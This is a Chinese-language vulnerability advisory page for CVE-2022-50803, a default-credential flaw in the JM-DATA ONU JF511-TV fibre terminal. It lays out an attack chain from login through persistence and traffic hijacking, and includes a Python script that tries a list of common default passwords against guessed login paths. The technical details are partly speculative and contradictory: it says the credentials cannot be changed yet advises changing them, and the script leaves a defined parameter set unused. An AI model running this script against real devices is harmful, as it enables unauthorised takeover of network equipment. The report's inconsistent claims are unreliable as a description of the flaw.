IPBUF安全漏洞报告
English
CVE-2022-50803 CVSS 9.8 严重

CVE-2022-50803 JM-DATA ONU JF511-TV 默认凭证漏洞

披露日期: 2025-12-30

漏洞信息

漏洞编号
CVE-2022-50803
漏洞类型
默认凭证
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
JM-DATA ONU JF511-TV

相关标签

CVE-2022-50803默认凭证弱密码硬编码密码JM-DATAONU设备光纤网络终端认证绕过物联网安全CWE-798

漏洞概述

CVE-2022-50803是JM-DATA公司生产的ONU设备JF511-TV(版本1.0.67)存在的严重安全漏洞。该漏洞源于设备使用出厂默认凭证进行身份验证,攻击者无需任何特殊技术能力即可利用此漏洞获得设备的管理员权限。

JM-DATA JF511-TV是一款光纤网络终端设备,广泛应用于家庭和企业的光纤宽带接入场景。该设备的管理界面存在硬编码的默认用户名和密码,攻击者只需通过搜索引擎或设备文档即可获取这些默认凭证。一旦成功登录管理后台,攻击者可以完全控制设备功能,包括修改网络配置、查看连接设备信息、执行诊断操作等。

由于该漏洞的CVSS评分高达9.8分(满分10分),属于紧急严重级别,对互联网安全构成重大威胁。攻击者可以在无需任何前置条件的情况下远程利用此漏洞,且无需用户交互或特殊权限。这意味着任何能够访问设备管理端口(通常为80/443端口)的攻击者都可以立即获得管理员控制权。

该漏洞的影响范围不仅限于单一设备,由于ONU设备通常部署在网络边缘,大量用户的网络流量都会经过这些设备,攻击者一旦控制设备即可进行中间人攻击、流量窃取、DNS劫持等恶意操作,严重威胁用户的数据安全和隐私保护。

技术细节

JM-DATA ONU JF511-TV设备的管理Web界面存在硬编码的默认凭证漏洞。设备在出厂时设置了固定的管理员用户名和密码组合,存储在设备的固件中且无法通过正常渠道修改。

技术层面分析,该漏洞属于CWE-798(使用硬编码凭证)类别。设备的HTTP管理服务在验证用户身份时,直接与固件中硬编码的凭证进行比对,而非使用动态配置或用户自定义的密码。常见的默认凭证组合可能包括admin/admin、admin/password、root/root等。

利用此漏洞的攻击流程相对简单:攻击者首先识别目标设备的管理接口(通常为HTTP服务,端口80或443),然后使用默认凭证尝试登录。登录成功后,攻击者获得完整的管理员权限,可以访问以下功能:

1. 网络配置管理:修改WAN/LAN设置、DHCP配置、路由规则
2. 设备状态监控:查看连接设备列表、流量统计、系统日志
3. 固件管理:上传恶意固件或降级固件版本
4. 诊断工具:执行ping、traceroute等网络诊断命令
5. 防火墙配置:修改访问控制规则或关闭防火墙

由于设备缺乏登录失败锁定机制,攻击者可以无限次尝试登录,且大多数设备启用了远程管理功能,增加了被攻击的风险。

攻击链分析

STEP 1
信息收集
攻击者识别目标JM-DATA ONU JF511-TV设备,获取其IP地址和管理接口端口
STEP 2
凭证获取
攻击者通过搜索引擎、设备文档或常见默认凭证列表获取设备的默认用户名和密码
STEP 3
认证尝试
攻击者使用默认凭证(如admin/admin)访问设备的管理Web界面,通常通过HTTP/HTTPS的80或443端口
STEP 4
获得管理员权限
成功登录后,攻击者获得设备完整的管理员控制权限,可执行任意管理操作
STEP 5
持久化控制
攻击者可创建后门账户、修改管理密码、植入恶意配置或固件,确保长期访问
STEP 6
横向移动或数据窃取
攻击者利用已控制的设备进行中间人攻击、流量劫持、DNS篡改或进一步渗透内网

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2022-50803 PoC - JM-DATA ONU JF511-TV Default Credentials Author: Security Researcher Note: For authorized security testing only """ import requests import sys from urllib.parse import urljoin # Default credentials for JM-DATA JF511-TV DEFAULT_CREDS = [ ("admin", "admin"), ("admin", "password"), ("admin", "1234"), ("root", "root"), ("root", "admin"), ("user", "user"), ("administrator", "administrator"), ("super", "super"), ] def check_default_credentials(target_url): """ Check if target JM-DATA device accepts default credentials """ print(f"[*] Target: {target_url}") print(f"[*] Testing default credentials...\n") # Common login endpoints login_paths = [ "/login.cgi", "/admin/login.cgi", "/cgi-bin/login.cgi", "/boaform/admin/loginForm", "/formLogin", ] for username, password in DEFAULT_CREDS: for path in login_paths: login_url = urljoin(target_url, path) # Try common login parameter names login_data = { "username": username, "password": password, } # Alternative parameter names alt_data = { "user": username, "pass": password, } try: response = requests.post( login_url, data=login_data, timeout=10, allow_redirects=False ) # Check for successful login indicators if response.status_code in [200, 302] and any( indicator in response.text.lower() for indicator in ["admin", "status", "logout", "dashboard"] ): print(f"[+] VULNERABLE!") print(f"[+] Credentials found: {username}:{password}") print(f"[+] Login URL: {login_url}") return True except requests.exceptions.RequestException as e: print(f"[-] Error testing {username}:{password} - {e}") continue print("[-] No default credentials worked") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://192.168.1.1") sys.exit(1) target = sys.argv[1].rstrip('/') check_default_credentials(target)

影响范围

JM-DATA ONU JF511-TV <= 1.0.67

防御指南

临时缓解措施
在厂商提供修复补丁之前,建议采取以下临时缓解措施:1) 立即修改设备默认凭证为强密码;2) 禁用远程Web管理功能,仅允许通过本地网络访问;3) 在防火墙或路由器上屏蔽管理端口的外网访问;4) 监控设备访问日志,及时发现未授权登录尝试;5) 如果设备支持,请启用双因素认证或多因素认证机制;6) 考虑使用VPN连接后再访问设备管理界面。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表